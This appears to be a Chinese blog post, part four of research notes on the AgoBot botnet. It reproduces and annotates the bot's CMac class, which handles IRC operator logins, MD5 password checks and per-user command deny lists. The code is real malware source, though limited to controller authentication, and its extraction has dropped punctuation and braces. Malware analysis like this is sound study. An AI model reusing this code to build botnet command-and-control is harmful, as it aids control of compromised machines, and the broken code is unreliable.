AgoBot 僵尸网络研究笔记(四)

 

四、08年3月04日

作者:青青子衿

email:[email protected]

1、 class   CMac  :  public   CCommandHandler    类的分析  该类主要用于用户什么的检查

CCommandHandler 的子类

在类定义之前定义了一些结构体,注释都很明白,就不多解释了

typedef   struct   func_s

{

  CString       sFuncname ;     // Function name

func ;

typedef   struct   user_s

{

  CString       sUsername ;     // Username

  CString       sPassword ;     // Password

  CString       sHost ;       // Host

  CString       sIdentd ;     // Identd

  list < func *>     lDeny ;       // Functions to deny  拒绝

user ;

typedef   struct   login_s

{

  user     * pUser ;       // Pointer to the user of this login

  CString       sUsername ;     // Username

  CString       sIRCUsername ;   // Username in IRC

  CString       sHost ;       // Host

  CString       sIdentd ;     // Identd

login ;

两个私有成员变量,分别是:

list < user *>  luStart ;

  list < login *>  llStart ;

两个公有成员变量,分别是:

  command   m_cmdLogin m_cmdLogout ;

23个成员函数

(1) 、构造函数和析构函数,将两个列表变量清0

CMac :: CMac () 

  luStart . clear (); 

  llStart . clear (); 

}

CMac ::~ CMac () 

  luStart . clear (); 

  llStart . clear (); 

}

(2) void   CMac :: Init ()  初始化函数

void   CMac :: Init ()

{  

  //增加login登录,和mac.logout登出两个命令

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdLogout ,   "mac.logout" ,   "logs the user out" ,   this );

  g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdLogin ,   "login" ,     "logs the user in" ,     this ); 

}

(3) FindLogin ( CString   sIRCUsername )  函数

//////////////////////////////////////////////////////////////////

//

//函数功能:寻找指定的用户名对应的login结构体

//参数:   CString sIRCUsername     IRC用户名称

//返回值:   login *类型的变量,如果找到返回对应的login 结构体的指针

//       否则返回NULL

//

///////////////////////////////////////////////////////////////////

login  * CMac :: FindLogin ( CString   sIRCUsername )

{

  if (! sIRCUsername . CStr ())   //如果要查找的用户名为空,函数返回

  {

    return   NULL ;

  }

  list < login *>:: iterator   il

  for ( il = llStart . begin ();  il != llStart . end (); ++ il )

  {

    if (!(* il )-> sIRCUsername . Compare ( sIRCUsername ))

    {

      return  (* il );     //找到对应的结构体元素,返回该指针

    }

  }

  return   NULL

}

(4) FindUser ( CString   sUsername )  函数, 还没有完全弄明白具体的实现过程

//////////////////////////////////////////////////////////////////

//

//函数功能:寻找指定的用户名对应 的user *结 构体

//参数:   CString sUsername     用户名称

//返回值:   user *类型的变量,如果找到返回对应的user 结构体的指针

//       否则返回NULL

//

///////////////////////////////////////////////////////////////////

user  * CMac :: FindUser ( CString   sUsername )

{  

  if (! sUsername . CStr ())  //判断用户名字符串是否是NULL

  {

    return   NULL ;

  }

  list < user *>:: iterator   iu

  for ( iu = luStart . begin ();  iu != luStart . end (); ++ iu )

  {  

    user  * pUser =(* iu );  //定义一个user类型的变量,并保存luStart列表的当前位置

    login  * pLogin = FindLogin ( sUsername );     //在login类型列表llStart中,找到与sUsername相匹配的login元素。找到是sIRCUsername

    if ( pLogin //如果找到了

    {

      pUser = pLogin -> pUser ;   //将login类型变量中的pLogin->pUser变量,赋值给pUser

    }

   

    if (! pUser -> sUsername . Compare ( sUsername ) ||  pLogin )

    {

      return   pUser

    }

  }

  return   NULL ;

 }

(5) FindFunc ( CString   sFuncname list < func *>  lStart )  

//////////////////////////////////////////////////////////

//

//函数功能:寻找相应的func 结构体变量

//参数:   CString sFuncname   名称

//       list<func*> lStart   函数结构体列表

//返回值:   func *变量

//

//

/////////////////////////////////////////////////////////

func  * CMac :: FindFunc ( CString   sFuncname list < func *>  lStart )

{  

  if (! sFuncname . CStr ())  //保证函数名称不等于空

  {

    return   NULL ;

  }

  list < func *>:: iterator   i

  for ( i = lStart . begin ();  i != lStart . end (); ++ i )     //在func*列表中进行查找,与sFuncname名字相匹配的元素

  {

    if (!(* i )-> sFuncname . Compare ( sFuncname )) 

    {

      return  (* i );     //将给元素返回

    }

  }

  return   NULL

}

(6) CheckPassword    函数用来校验密码

/////////////////////////////////////////////////////////

//

//函数功能:检测密码

//参数:   CString sPassword   密码字符串

//       user *pUser       指向用户结构体变量的指针

//返回值:   通过检测返回true, 否则返回false

//

///////////////////////////////////////////////////////

bool   CMac :: CheckPassword ( CString   sPassword user  * pUser )

{  

  if (! sPassword . CStr ())  //密码字符串不为空

  {

    return   false ;

  }

  /*

  #define MD5_CBLOCK   64

  #define MD5_LBLOCK   (MD5_CBLOCK/4)

  #define MD5_DIGEST_LENGTH 16

  typedef struct MD5state_st

  {

    MD5_LONG A,B,C,D;

    MD5_LONG Nl,Nh;

    MD5_LONG data[MD5_LBLOCK];

    int num;

  } MD5_CTX;

  */

  MD5_CTX   md5 ;   //申请一个MD5类型的结构体

  MD5_Init (& md5 ); 

  unsigned   char   szMD5 [16];

  CString   sMD5

  sMD5 . Assign ( "" );

 

  MD5_Update (& md5 , ( unsigned   char *) sPassword . Str (),  sPassword . GetLength ());  //第二个参数为需要做md5计算的字符串,第三个参数是该字符串的长度

  MD5_Final ( szMD5 , & md5 );  //szMD5为生成的0x10位的md5值

 

  for ( int   i =0; i <16; i ++)     //将计算出来的MD5值,保存到MD5中

  {

    CString   sTemp

    sTemp . Format ( "%2.2X" szMD5 [ i ]); 

    sMD5 . Append ( sTemp ); 

  }

 

  if (! pUser -> sPassword . Compare ( sMD5 ))  //用计算出来的MD5值,与pUser结构体中保存的密码比较如果相等返回true,否则返回false。

  {

    return   true ;

  }

  return   false

}

(7) CheckBadFunc ( CString   sFuncname CString   sUsername )   函数, 检查特定用户是否有操作特定函数的权限

////////////////////////////////////////////////////////////////////

//

//函数功能:检查特定用户是否有操作特定函数的权限

//参数:   CString sFuncname   所需要验证函数的名称

//       CString sUsername   所需要验证的用户的名称

//返回值:   如果有权限返回true,否则返回false

//

////////////////////////////////////////////////////////////////////

bool   CMac :: CheckBadFunc ( CString   sFuncname CString   sUsername )

{  

  user  * pUser = FindUser ( sUsername );  //判断该用户是否存在

  if (! pUser return   false ;     //如果不存在,返回false

  if ( FindFunc ( sFuncname pUser -> lDeny ))  //调用函数在用户的函数列表中寻找,指定的函数名称

  {

    return   true ;   //如果找到返回true

  }

  return   false ;   //否则返回false

}

(8) AddBadFunc ( CString   sFuncname user  * pUser )  函数

////////////////////////////////////////////////////////

//

//函数功能:为特定用户添加使用指定函数的权限

//参数:   CString sFuncname   函数名称

//       user *pUser       指向特定用户结构体变量的指针

//返回值:为空

//

/////////////////////////////////////////////////////////

void   CMac :: AddBadFunc ( CString   sFuncname user  * pUser )

{  

  if (! pUser  || ! sFuncname . CStr ())   //如果函数名称为空,或用户结构体指针为空,返回

  {

    return

  }

  int   iToken =0;

  while ( sFuncname . Token ( iToken ":" ). Compare ( "" ))   //如果sFuncname字符串的":"后边的子字符串不为空,执行循环里边的代码,

  {  

    func  * pFunc = new   func

    pFunc -> sFuncname = sFuncname . Token ( iToken ":" );   //获得":"号后边的子字符串,放到申请的func类型变量中

    pUser -> lDeny . push_back ( pFunc );   //将赋值后的pFunc变量,添加到user类型变量的链表中。

    iToken ++;

 

}

(9) AddLogin  函数  

///////////////////////////////////////////////////////////////////////////

//

//函数功能:添加登录账号

//参数:   CString sUsername     用户名称

//       CString sPassword     用户密码

//       CString sIRCUsername   IRC的用户名称

//       CString sHost       主机名信息

//       CString sIdentd       或许是用户的ID吧,不确定

//返回值:   bool 添加成功返回true,否则返回false

//

/////////////////////////////////////////////////////////////////////////////

bool   CMac :: AddLogin ( CString   sUsername CString   sPassword CString   sIRCUsername CString   sHost CString   sIdentd )

{  

  if ( FindLogin ( sIRCUsername ))     //寻找IRC用户名(或许是频道名),有人登录

  {

    return   false ;     //如果找到返回false

  }

  user  * pUser = FindUser ( sUsername );   //寻找sUsername名称对应的用户结构体变量

  if (! pUser //如果没有找到返回false

  {

    return   false ;

  }

  if ( pUser //找到该用户执行下面操作

    if ( CheckPassword ( sPassword pUser ))     //检查密码的合法性

    {   //如果合法

      if ( pUser -> sHost . Compare ( "" ))  //判断sHost是否为空

      {   //如果不为空

        if (! strstr ( sHost . CStr (),  pUser -> sHost . CStr ()))  //用户结构体变量中的主机名,是否是参数主机名字符串的字串

        {   //如果不是返回false

          return   false ;

        }

      }

     

      login  * pLogin = new   login ;   //申请一块login结构体大小的空间

      pLogin -> pUser = pUser ;     //将用户结构体指针,加入login结构体变量

      pLogin -> sUsername = sUsername ;   //添加用户名

      pLogin -> sIRCUsername = sIRCUsername ;   //添加IRC用户名

      llStart . push_back ( pLogin );   //将申请的pLogin变量,加入llStart列表中

      return   true ;   //返回添加成功

    }

  return   false

}

(10) ClearLogins ()  函数清除所有登录账号

/////////////////////////////////////////////////////////////////////////////

//

//函数功能:清除用户登录信息列表

//参数:  

//返回值:   void

//

/////////////////////////////////////////////////////////////////////////////

void   CMac :: ClearLogins () 

  llStart . clear (); 

}

(11) AddUser ( CString   sUsername CString   sPassword CString   sHost CString   sIdentd )  添加用户函数

/////////////////////////////////////////////////////////////////////////////

//

//函数功能:添加用户

//参数:   CString sUsername     用户名

//       CString sPassword     密码

//       CString sHost       主机名

//       CString sIdentd       用户的ID

//返回值:   void

//

/////////////////////////////////////////////////////////////////////////////

void   CMac :: AddUser ( CString   sUsername CString   sPassword CString   sHost CString   sIdentd )

{  

  user  * pUser = new   user ;   //申请user类型的变量空间

  pUser -> sUsername = sUsername ;

  pUser -> sPassword = sPassword ;

  pUser -> sHost = sHost

  pUser -> sIdentd = sIdentd

  luStart . push_back ( pUser );   //加入用户列表

 }

(12) DelBadFunc_int   函数  删除指定用户某个函数功能调用的权限

////////////////////////////////////////////////////////////////////

//

//函数功能:删除指定用户某个函数功能调用的权限

//参数:   CString sFuncname     功能函数的名称

//       user *pUser         用户结构体指针

//返回值:   bool 调用成功返回true,否则返回false

//

///////////////////////////////////////////////////////////////////

bool   CMac :: DelBadFunc_int ( CString   sFuncname user  * pUser )

{

  func  * pRemove = NULL ;    

  list < func *>:: iterator   i

  for ( i = pUser -> lDeny . begin ();  i != pUser -> lDeny . end (); ++ i )   //在指定用户的func列表中查找

  {  

    if (!(* i )-> sFuncname . Compare ( sFuncname ))  pRemove =(* i ); //如果找到一个与参数中的函数名称相同的func结构体元素,将该原始结构体指针赋值给pRemove指针变量中

  }

  if ( pRemove )     //如果pRemove不为空,将pRemove所指的元素从pUser->lDeny列表中删除。

 

    pUser -> lDeny . remove ( pRemove ); 

    delete   pRemove ;

    return   true ;   //删除成功返回true

  }

  return   false ;     //否则返回false

}

(13) DelBadFunc   函数

////////////////////////////////////////////////////////////////////

//

//函数功能:删除指定用户的多个函数功能调用的权限,各函数用:分隔

//参数:   CString sFuncname     功能函数的名称

//       user *pUser         用户结构体指针

//返回值:   bool 调用成功返回true,否则返回false

//

///////////////////////////////////////////////////////////////////

bool   CMac :: DelBadFunc ( CString   sFuncname user  * pUser )

{  

  bool   bRetVal = true

  int   iToken =0;

  while ( sFuncname . Token ( iToken ":" ). Compare ( "" ))  //循环提取出函数功能名,分别调用DelBadFunc_int函数

  {

    if (! DelBadFunc_int ( sFuncname . Token ( iToken ":" ),  pUser ))

    {

      bRetVal = false ;

    }

    iToken ++; 

  }

  return   bRetVal

}

(14) DelUser ( CString   sUsername )  函数,删除指定的用户

///////////////////////////////////////////////////////////////////

//

//函数功能:删除用户记录

//参数:   CString sUsername     要用户名称

//返回值:   bool 删除成功返回true,否则返回false

//

///////////////////////////////////////////////////////////////////

bool   CMac :: DelUser ( CString   sUsername )

{

  if (! sUsername . CStr ())     //保证用户名字符串不为空,否则函数返回false

 

    return   false

  }

 

  user  * pRemove = NULL ;    

  list < user *>:: iterator   i

  for ( i = luStart . begin ();  i != luStart . end (); ++ i )   //从列表中检索要删除的用户名

  {  

    if (!(* i )-> sUsername . Compare ( sUsername ))

    {

      pRemove =(* i );   //如果找到,将保存该用户名信息的结构体变量的指针的值赋值给pRemove

    }

  }

  if ( pRemove

  {

    luStart . remove ( pRemove );  //删除列表中该元素。

    delete   pRemove ;

    return   true

  }

  return   false

}

(15) HandleCommand ( CMessage  * pMsg )  消息处理函数

////////////////////////////////////////////////////////////////////

//

//函数功能:处理与该类相关的消息

//参数:   CMessage *pMsg     消息变量

//返回值:   bool 调用成功返回true,否则false

//

///////////////////////////////////////////////////////////////////////

bool   CMac :: HandleCommand ( CMessage  * pMsg )

{

  if (! pMsg -> sCmd . Compare ( "login" ))   //处理login消息

  {

    if ( g_cMainCtrl . m_cMac . AddLogin ( pMsg -> sChatString . Token (1,  " " true ),  pMsg -> sChatString . Token (2,  " " true ),  pMsg -> sSrc pMsg -> sHost pMsg -> sIdentd ))

    {

      CString   sReply

      sReply . Format ( "Password accepted." );

      g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice sReply . Str (),  pMsg -> sReplyTo . Str ());

      return   true

    }

    else   return   false

  }

  else   if (! pMsg -> sCmd . Compare ( "mac.logout" ))   //处理mac.logout 消息

  {  

    if ( g_cMainCtrl . m_cMac . DelLogin ( CString ( "" ),  pMsg -> sSrc ))

    {

      CString   sReply ;

      sReply . Format ( "User %s logged out." pMsg -> sSrc . CStr ());

      g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice sReply . Str (),  pMsg -> sReplyTo . Str ());

      return   true

    }

    else   return   false

  }

  return   false

}

 

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章